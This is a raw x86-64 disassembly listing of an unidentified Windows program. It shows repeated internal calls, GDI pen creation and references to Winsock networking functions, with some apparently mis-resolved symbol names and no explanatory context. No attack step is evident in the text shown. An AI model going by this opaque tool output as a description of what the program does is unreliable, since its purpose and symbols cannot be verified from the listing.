mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401d0470
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401dbc3e
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401da6c6
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401d3878
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401d2550
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401c20d2
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401c141a
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401da434
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401d28a2
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60b0]
movabs rdx, 0x1401d2128
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
push qword [0x141ef60a8]
pop rcx
call fcn.1400e9c0c
mov qword [0x141ef5810], 0
mov rbp, qword [0x141ef60b0]
lea rax, [rbp + 0x10]
mov qword [0x141ef5810], rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push 6
movabs rax, 0x1401c30d2
push rax
push 0x7d
pop rcx
pop rdx
pop r8
call fcn.1400f1c6c
push 8
movabs rax, 0x1401c30d2
push rax
push 0x7e
pop rcx
pop rdx
pop r8
call fcn.1400f1c6c
push reloc.WS2_32.dll_inet_addr
movabs rax, 0x1401c30d2
push rax
push 0x7f
pop rcx
pop rdx
pop r8
call fcn.1400f1c6c
push 1
lea rax, [0x14001b963]
mov rax, rax
push rax
pop rcx
pop rdx
call fcn.140084c9c
push 0
push 0
push 0
pop rcx
pop rdx
pop r8
call fcn.1400e5d6c
mov qword [0x141ef5940], rax
push 0xff
push 0xff
push 0xff
pop rcx
pop rdx
pop r8
call fcn.1400e5d6c
mov qword [0x141ef5758], rax
mov qword [0x141ef58d0], 2
push 0x808080
push 1
push 0
pop rcx
pop rdx
pop r8
call sub.GDI32.dll_CreatePen
mov qword [0x141ef56b8], rax
push 0xcc872c
push 1
push 0
pop rcx
pop rdx
pop r8
call sub.GDI32.dll_CreatePen
mov qword [0x141ef5860], rax
mov r9, 7
xor r8, r8
lea rdx, [0x141ef60b8]
mov rcx, 0x3b
call fcn.1400e9a58
mov rcx, 0x200
sub rsp, 8
push rcx
lea r9, [0x141ef6188]
xor r8, r8
mov rdx, 7
mov rcx, 0x59
sub rsp, 0x20
call fcn.1400dcfc8
add rsp, 0x28
add rsp, 8
mov rcx, 0x200
sub rsp, 8
push rcx
lea r9, [0x141ef6190]
xor r8, r8
mov rdx, SafeArrayPutElement
mov rcx, 8
sub rsp, 0x20
call fcn.1400dcfc8
add rsp, 0x28
add rsp, 8
mov rcx, 0x200
sub rsp, 8
push rcx
lea r9, [0x141ef6198]
xor r8, r8
mov rdx, SafeArrayPutElement
mov rcx, 8
sub rsp, 0x20
call fcn.1400dcfc8
add rsp, 0x28
add rsp, 8
mov qword [0x141ef6068], 2
mov qword [0x141ef6070], 1
sub rsp, 0x18
movabs rax, 0x141ef6060
push rax
xor r9, r9
mov r8, SafeArrayPutElement
mov rdx, 8
mov rcx, 2
sub rsp, 0x20
call fcn.1400e5720
add rsp, 0x40
mov qword [0x141ef6060], rax
mov r9, SafeArrayPutElement
xor r8, r8
lea rdx, [0x141ef60c8]
mov rcx, 8
call fcn.1400e9a58
push qword [0x141ef5818]
movabs rcx, 0x1401cf008
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14000ec35
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef53c8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d4d64
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400d9984
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, rax
cmp r15, 1
jge 0x14000ec30
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef53c8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d4d64
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push WSAStartup
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400dae70
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
movabs rbp, 0x140afc905
mov r15, rbp
movabs rbp, 0x140ae81bd
sub r15, rbp
mov rax, r15
push rax
movabs rbp, 0x140ae81bd
mov rax, rbp
push rax
push WSAStartup
pop rcx
pop rdx
pop r8
call fcn.1400db1d0
push WSAStartup
pop rcx
call fcn.1400dab00
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef53c8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d27dc
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push WSAStartup
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400dae70
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
movabs rbp, 0x140b6803d
mov r15, rbp
movabs rbp, 0x140afc905
sub r15, rbp
mov rax, r15
push rax
movabs rbp, 0x140afc905
mov rax, rbp
push rax
push WSAStartup
pop rcx
pop rdx
pop r8
call fcn.1400db1d0
push WSAStartup
pop rcx
call fcn.1400dab00
jmp 0x14000ee55
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef53c8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d2ed0
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400d9984
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, rax
cmp r15, 1
jge 0x14000ee55
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef53c8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d2ed0
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push WSAStartup
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400dae70
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
movabs rbp, 0x140afc905
mov r15, rbp
movabs rbp, 0x140ae81bd
sub r15, rbp
mov rax, r15
push rax
movabs rbp, 0x140ae81bd
mov rax, rbp
push rax
push WSAStartup
pop rcx
pop rdx
pop r8
call fcn.1400db1d0
push WSAStartup
pop rcx
call fcn.1400dab00
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef53c8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c2ec8
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push WSAStartup
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400dae70
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
movabs rbp, 0x140b6803d
mov r15, rbp
movabs rbp, 0x140afc905
sub r15, rbp
mov rax, r15
push rax
movabs rbp, 0x140afc905
mov rax, rbp
push rax
push WSAStartup
pop rcx
pop rdx
pop r8
call fcn.1400db1d0
push WSAStartup
pop rcx
call fcn.1400dab00
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.1400d9b00
add rsp, 0x28
lea rcx, [0x141ef5950]
pop rdx
call fcn.1400f2fb0
movabs rax, 0x1401d6626
push rax
push qword [0x141ef59f0]
pop rcx
pop rdx
call fcn.1400efcc0
mov r15, rax
and r15, r15
jle 0x14000ef3a
mov rcx, qword [0x141ef5910]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c3d10
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef59f0]
pop rdx
call fcn.1400f2fb0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14001e86a
add rsp, 0x28
lea rcx, [0x141ef56a8]
pop rdx
call fcn.1400f2fb0
call fcn.1400cbc08
movabs rbp, 0x141ecd268
mov rax, rbp
push rax
push 0x6e
pop rcx
pop rdx
call fcn.1400e8700
movabs rbp, 0x141eccf69
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef59c0], rax
movabs rbp, 0x141ecd038
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef5408], rax
movabs rbp, 0x141ecd0e2
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef5568], rax
movabs rbp, 0x141ecd18c
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef5708], rax
movabs rbp, 0x141ee41bf
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef5488], rax
movabs rbp, 0x141ee4de4
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef5490], rax
movabs rbp, 0x141ee7b7a
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef54a0], rax
movabs rbp, 0x141ee7cc3
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef54b0], rax
movabs rbp, 0x141eecea1
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef54c0], rax
movabs rbp, 0x141eda7d1
mov rax, rbp
push rax
push 0x62
pop rcx
pop rdx
call fcn.1400e8700
movabs rbp, 0x141edb30f
mov rax, rbp
push rax
push 0x63
pop rcx
pop rdx
call fcn.1400e8700
movabs rbp, 0x141edbe0d
mov rax, rbp
push rax
push 0x64
pop rcx
pop rdx
call fcn.1400e8700
push 0x62
pop rcx
call fcn.140029b81
push 0x63
pop rcx
call fcn.140029b81
push 0x64
pop rcx
call fcn.140029b81
push 0x6e
pop rcx
call fcn.140029b81
movabs rbp, 0x141edcfed
mov rax, rbp
push rax
push 0x65
pop rcx
pop rdx
call fcn.1400e8700
movabs rbp, 0x141edd08c
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef58e0], rax
movabs rbp, 0x141edd08c
mov rax, rbp
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400e8700
mov qword [0x141ef5648], rax
push qword [0x141ef5648]
pop rcx
call fcn.1400e88cc
mov r15, rax
mov qword [rsp - 8], r15
fild qword [rsp - 8]
fdiv qword [0x1401dd658]
push rax
fistp qword [rsp]
sub rsp, 8
push qword [0x141ef5648]
pop rcx
sub rsp, 0x20
call fcn.1400e88f0
add rsp, 0x28
mov r15, rax
mov qword [rsp - 8], r15
fild qword [rsp - 8]
fdiv qword [0x1401dd658]
push rax
fistp qword [rsp]
push qword [0x141ef5648]
pop rcx
pop rdx
pop r8
call fcn.1400e8914
push qword [0x141ef58e0]
pop rcx
call fcn.140029b81
push qword [0x141ef5648]
pop rcx
call fcn.140029b81
push qword [0x141ef5488]
pop rcx
call fcn.140029b81
push qword [0x141ef5490]
pop rcx
call fcn.140029b81
push qword [0x141ef54a0]
pop rcx
call fcn.140029b81
push qword [0x141ef54b0]
pop rcx
call fcn.140029b81
push qword [0x141ef54c0]
pop rcx
call fcn.140029b81
push qword [0x141ef59c0]
pop rcx
call fcn.140029b81
push qword [0x141ef5408]
pop rcx
call fcn.140029b81
push qword [0x141ef5568]
pop rcx
call fcn.140029b81
push qword [0x141ef5708]
pop rcx
call fcn.140029b81
push 0x65
pop rcx
call fcn.140029b81
mov r15, qword [0x141ef5608]
and r15, r15
jne 0x14000f277
push reloc.WS2_32.dll_recv
movabs rax, 0x1401c30d2
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
pop r8
call fcn.1400f1c6c
mov qword [0x141ef5608], rax
mov r15, qword [0x141ef5610]
and r15, r15
jne 0x14000f2a8
push reloc.WS2_32.dll_ioctlsocket
movabs rax, 0x1401c30d2
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
pop r8
call fcn.1400f1c6c
mov qword [0x141ef5610], rax
sub rsp, 8
push 9
push 0xff
push 0xff
push 0xff
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400e5d6c
add rsp, 0x20
mov rax, rax
push rax
push qword [0x141ef5608]
push qword [0x141ef5520]
push qword [0x141ef59c0]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.14006394b
add rsp, 0x30
sub rsp, 8
push 5
push 0xff
push 0xff
push 0xff
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400e5d6c
add rsp, 0x20
mov rax, rax
push rax
push qword [0x141ef5610]
push qword [0x141ef5870]
push qword [0x141ef5408]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.14006394b
add rsp, 0x30
sub rsp, 8
push 5
push 0xff
push 0xff
push 0xff
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400e5d6c
add rsp, 0x20
mov rax, rax
push rax
push qword [0x141ef5610]
push qword [0x141ef5938]
push qword [0x141ef5708]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.14006394b
add rsp, 0x30
sub rsp, 8
push 5
push 0xff
push 0xff
push 0xff
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400e5d6c
add rsp, 0x20
mov rax, rax
push rax
push qword [0x141ef5610]
push qword [0x141ef54b8]
push qword [0x141ef5568]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.14006394b
add rsp, 0x30
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 3
mov rcx, qword [0x141ef5438]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401ceb48
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
call fcn.1400f31c0
movabs rax, 0x1401c433a
push rax
mov rcx, qword [0x141ef5968]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401d9d30
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 0x10], rdx
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400a2d60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
call fcn.1400a343c
mov r15, rax
dec r15
mov qword [0x141ef54e8], r15
mov r15, qword [0x141ef54e8]
and r15, r15
jl 0x14000fc89
mov qword [0x141ef55b8], 1
mov qword [0x141ef5730], 0
mov qword [0x141ef59f8], 0
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5480]
call fcn.1400f2e70
mov qword [0x141ef5698], 0
mov qword [0x141ef54e0], 0
mov qword [0x141ef5890], 0
mov qword [0x141ef54d0], 0
mov qword [0x141ef57d8], 0
jmp 0x14000f561
mov rax, qword [0x141ef54e8]
cmp rax, qword [0x141ef57d8]
jl 0x14000f90b
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push qword [0x141ef57d8]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400a34d0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400f03d0
add rsp, 0x28
lea rcx, [0x141ef5830]
pop rdx
call fcn.1400f2fb0
movabs rax, 0x1401d2516
push rax
push qword [0x141ef5830]
pop rcx
pop rdx
call fcn.1400efcc0
mov r15, rax
and r15, r15
jle 0x14000f6b4
mov qword [0x141ef55b8], 0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rax, 0x1401d2516
push rax
push qword [0x141ef5830]
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400f0080
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400eff50
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov qword [0x141ef56c0], rax
movabs rax, 0x1401d3f62
push rax
push qword [0x141ef5830]
pop rcx
pop rdx
call fcn.1400efcc0
mov r15, rax
and r15, r15
jle 0x14000f77b
mov qword [0x141ef5890], 1
mov qword [0x141ef55b8], 0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rax, 0x1401d3f62
push rax
push qword [0x141ef5830]
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400f0080
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400eff50
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov qword [0x141ef56c8], rax
push qword [0x141ef5830]
movabs rcx, 0x1401d3b9e
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14000f7b1
mov qword [0x141ef5890], 1
mov qword [0x141ef55b8], 0
jmp 0x14000f90b
push qword [0x141ef5830]
movabs rcx, 0x1401d10e8
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14000f7e8
mov qword [0x141ef54d0], 1
push 1
push recv
pop rcx
pop rdx
call fcn.1400cc830
push qword [0x141ef5830]
movabs rcx, 0x1401c9d18
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x14000f820
push qword [0x141ef5830]
movabs rcx, 0x1401cf3e6
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x14000f820
jmp 0x14000f829
mov rax, 1
jmp 0x14000f82c
xor rax, rax
and rax, rax
je 0x14000f83e
mov qword [0x141ef5730], 1
jmp 0x14000f8b2
push qword [0x141ef5830]
movabs rcx, 0x1401d61c6
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14000f8b2
mov qword [0x141ef59f8], 1
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
mov r15, qword [0x141ef57d8]
inc r15
mov rax, r15
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400a34d0
add rsp, 0x28
lea rcx, [0x141ef5480]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef5830]
movabs rcx, 0x1401c93f0
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14000f8d8
mov qword [0x141ef54e0], 1
push qword [0x141ef5830]
movabs rcx, 0x1401c30be
pop rdx
call fcn.1400f3090
or rax, rax
je 0x14000f8fe
mov qword [0x141ef5698], 1
inc qword [0x141ef57d8]
jno 0x14000f561
mov r15, qword [0x141ef5890]
and r15, r15
jle 0x14000f91c
jmp 0x14000fc89
mov r15, qword [0x141ef5730]
and r15, r15
jg 0x14000f936
mov r15, qword [0x141ef59f8]
and r15, r15
jg 0x14000f936
jmp 0x14000f93f
mov rax, 1
jmp 0x14000f942
xor rax, rax
and rax, rax
jne 0x14000f955
mov r15, qword [0x141ef54e0]
and r15, r15
jg 0x14000f955
jmp 0x14000f95e
mov rax, 1
jmp 0x14000f961
xor rax, rax
and rax, rax
jne 0x14000f974
mov r15, qword [0x141ef5698]
and r15, r15
jg 0x14000f974
jmp 0x14000f97d
mov rax, 1
jmp 0x14000f980
xor rax, rax
and rax, rax
je 0x14000fa7f
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401ccb72
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.14002a65b
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c164c
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.140069201
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, qword [0x141ef5730]
and r15, r15
jle 0x14000fa92
call fcn.140023205
jmp 0x14000fac3
mov r15, qword [0x141ef59f8]
and r15, r15
jle 0x14000fac3
mov r15, qword [0x141ef54d0]
and r15, r15
jle 0x14000fab8
push qword [0x141ef5480]
pop rcx
call fcn.140063e79
jmp 0x14000fac3
push 0
pop rcx
call fcn.140025450
mov r15, qword [0x141ef54e0]
and r15, r15
jle 0x14000fada
push 0
pop rcx
call fcn.140056577
mov r15, qword [0x141ef5698]
and r15, r15
jle 0x14000fb02
push 0
push IsNetDrive
pop rcx
pop rdx
call fcn.1400cc830
push 0
pop rcx
call fcn.1400365b4
mov r15, qword [0x141ef5730]
and r15, r15
jne 0x14000fb23
mov r15, qword [0x141ef59f8]
and r15, r15
jne 0x14000fb23
mov rax, 1
jmp 0x14000fb26
xor rax, rax
and rax, rax
je 0x14000fb40
mov r15, qword [0x141ef54e0]
and r15, r15
jne 0x14000fb40
mov rax, 1
jmp 0x14000fb43
xor rax, rax
and rax, rax
je 0x14000fb5d
mov r15, qword [0x141ef5698]
and r15, r15
jne 0x14000fb5d
mov rax, 1
jmp 0x14000fb60
xor rax, rax
and rax, rax
je 0x14000fb8e
push IsNetDrive
movabs rax, 0x1401d5e84
push rax
movabs rax, 0x1401dbbe4
push rax
pop rcx
pop rdx
pop r8
call fcn.140073198
jmp 0x14000fc84
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401ccb72
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.14002a65b
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c164c
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.140069201
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
jmp 0x140011dd9
mov r15, qword [0x141ef53e0]
and r15, r15
jne 0x14000fd1a
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 0
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401c4a38
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140024690
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5848]
call fcn.1400f2e70
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c164c
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
call fcn.1400f31c0
push 0
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
